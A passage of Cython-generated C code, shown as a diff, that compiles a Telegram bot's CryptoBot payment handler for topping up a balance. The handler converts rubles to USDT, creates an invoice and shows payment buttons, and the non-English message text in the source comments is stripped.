__pyx_t_6 = 0; + __pyx_t_7 = 127; + __Pyx_INCREF(__pyx_kp_u__31); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 25; + __Pyx_GIVEREF(__pyx_kp_u__31); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u__31); + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_RUB_TO_USDT); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_9 = __Pyx_PyObject_FormatSimple(__pyx_t_8, __pyx_empty_unicode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_9); + __Pyx_GIVEREF(__pyx_t_9); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_9); + __pyx_t_9 = 0; + __Pyx_INCREF(__pyx_kp_u__32); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 36; + __Pyx_GIVEREF(__pyx_kp_u__32); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__32); + __pyx_t_9 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_9}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 204, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L6_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 204, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 204, __pyx_L1_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":207 + * f" {RUB_TO_USDT}. , :" + * ) + * return # <<<<<<<<<<<<<< + * + * await state.update_data(amount=amount) + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/cryprobot_pay.py":203 + * if message.text.isdigit(): + * amount = int(message.text) + * if amount // RUB_TO_USDT <= 0: # <<<<<<<<<<<<<< + * await message.answer( + * f" {RUB_TO_USDT}. , :" + */ + } + + /* "handlers/payments/cryprobot_pay.py":209 + * return + * + * await state.update_data(amount=amount) # <<<<<<<<<<<<<< + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_crypto + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 209, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 209, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 209, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 209, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L7_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 209, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 209, __pyx_L1_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":210 + * + * await state.update_data(amount=amount) + * await state.set_state( # <<<<<<<<<<<<<< + * ReplenishBalanceState.waiting_for_payment_confirmation_crypto + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/cryprobot_pay.py":211 + * await state.update_data(amount=amount) + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_crypto # <<<<<<<<<<<<<< + * ) + * try: + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 211, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 211, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_2}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L8_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 210, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 210, __pyx_L1_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":213 + * ReplenishBalanceState.waiting_for_payment_confirmation_crypto + * ) + * try: # <<<<<<<<<<<<<< + * invoice = await crypto.create_invoice( + * asset="USDT", + */ + { + __Pyx_ExceptionSave(&__pyx_t_10, &__pyx_t_11, &__pyx_t_12); + __Pyx_XGOTREF(__pyx_t_10); + __Pyx_XGOTREF(__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_12); + /*try:*/ { + + /* "handlers/payments/cryprobot_pay.py":214 + * ) + * try: + * invoice = await crypto.create_invoice( # <<<<<<<<<<<<<< + * asset="USDT", + * amount=str(int(amount // RUB_TO_USDT)), + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_crypto_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 214, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_create_invoice); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 214, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/cryprobot_pay.py":215 + * try: + * invoice = await crypto.create_invoice( + * asset="USDT", # <<<<<<<<<<<<<< + * amount=str(int(amount // RUB_TO_USDT)), + * description=f" {amount} ", + */ + __pyx_t_9 = __Pyx_PyDict_NewPresized(4); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 215, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_9); + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_asset, __pyx_n_u_USDT) < 0) __PYX_ERR(0, 215, __pyx_L9_error) + + /* "handlers/payments/cryprobot_pay.py":216 + * invoice = await crypto.create_invoice( + * asset="USDT", + * amount=str(int(amount // RUB_TO_USDT)), # <<<<<<<<<<<<<< + * description=f" {amount} ", + * payload=f"{message.chat.id}:{amount}", + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_RUB_TO_USDT); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 216, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 216, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 216, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Unicode(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 216, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_amount, __pyx_t_3) < 0) __PYX_ERR(0, 215, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":217 + * asset="USDT", + * amount=str(int(amount // RUB_TO_USDT)), + * description=f" {amount} ", # <<<<<<<<<<<<<< + * payload=f"{message.chat.id}:{amount}", + * ) + */ + __pyx_t_3 = PyTuple_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 217, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = 0; + __pyx_t_7 = 127; + __Pyx_INCREF(__pyx_kp_u__10); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 22; + __Pyx_GIVEREF(__pyx_kp_u__10); + PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_kp_u__10); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 217, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_3, 1, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u__11); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 4; + __Pyx_GIVEREF(__pyx_kp_u__11); + PyTuple_SET_ITEM(__pyx_t_3, 2, __pyx_kp_u__11); + __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_3, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 217, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_description, __pyx_t_2) < 0) __PYX_ERR(0, 215, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":218 + * amount=str(int(amount // RUB_TO_USDT)), + * description=f" {amount} ", + * payload=f"{message.chat.id}:{amount}", # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 218, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = 0; + __pyx_t_7 = 127; + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_chat); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 218, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 218, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_8, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 218, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_6 += 1; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_kp_u__12); + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 218, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_t_3); + __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 218, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_payload, __pyx_t_3) < 0) __PYX_ERR(0, 215, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":214 + * ) + * try: + * invoice = await crypto.create_invoice( # <<<<<<<<<<<<<< + * asset="USDT", + * amount=str(int(amount // RUB_TO_USDT)), + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 214, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L15_resume_from_await:; + __pyx_t_10 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_12); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 214, __pyx_L9_error) + __pyx_t_3 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_3); + } else { + __pyx_t_3 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 214, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_invoice = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":221 + * ) + * + * if hasattr(invoice, "bot_invoice_url"): # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + __pyx_t_5 = __Pyx_HasAttr(__pyx_cur_scope->__pyx_v_invoice, __pyx_n_u_bot_invoice_url); if (unlikely(__pyx_t_5 == ((int)-1))) __PYX_ERR(0, 221, __pyx_L9_error) + if (__pyx_t_5) { + + /* "handlers/payments/cryprobot_pay.py":222 + * + * if hasattr(invoice, "bot_invoice_url"): + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 222, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 222, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":223 + * if hasattr(invoice, "bot_invoice_url"): + * builder = InlineKeyboardBuilder() + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) + * ) + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 223, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_9); + + /* "handlers/payments/cryprobot_pay.py":224 + * builder = InlineKeyboardBuilder() + * builder.row( + * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) # <<<<<<<<<<<<<< + * ) + * builder.row( + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 224, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 224, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_n_u__13) < 0) __PYX_ERR(0, 224, __pyx_L9_error) + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_invoice, __pyx_n_s_bot_invoice_url); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 224, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_url, __pyx_t_8) < 0) __PYX_ERR(0, 224, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 224, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_8}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 223, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":226 + * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) + * ) + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton(text=" ", callback_data="pay"), + * ) + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 226, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_9); + + /* "handlers/payments/cryprobot_pay.py":227 + * ) + * builder.row( + * InlineKeyboardButton(text=" ", callback_data="pay"), # <<<<<<<<<<<<<< + * ) + * await message.answer( + */ + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 227, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 227, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_kp_u__2) < 0) __PYX_ERR(0, 227, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 227, __pyx_L9_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 227, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_1}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 226, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":229 + * InlineKeyboardButton(text=" ", callback_data="pay"), + * ) + * await message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 229, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/cryprobot_pay.py":230 + * ) + * await message.answer( + * text=f" {amount} .", # <<<<<<<<<<<<<< + * reply_markup=builder.as_markup(), + * ) + */ + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 230, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 230, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_6 = 0; + __pyx_t_7 = 127; + __Pyx_INCREF(__pyx_kp_u__14); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 25; + __Pyx_GIVEREF(__pyx_kp_u__14); + 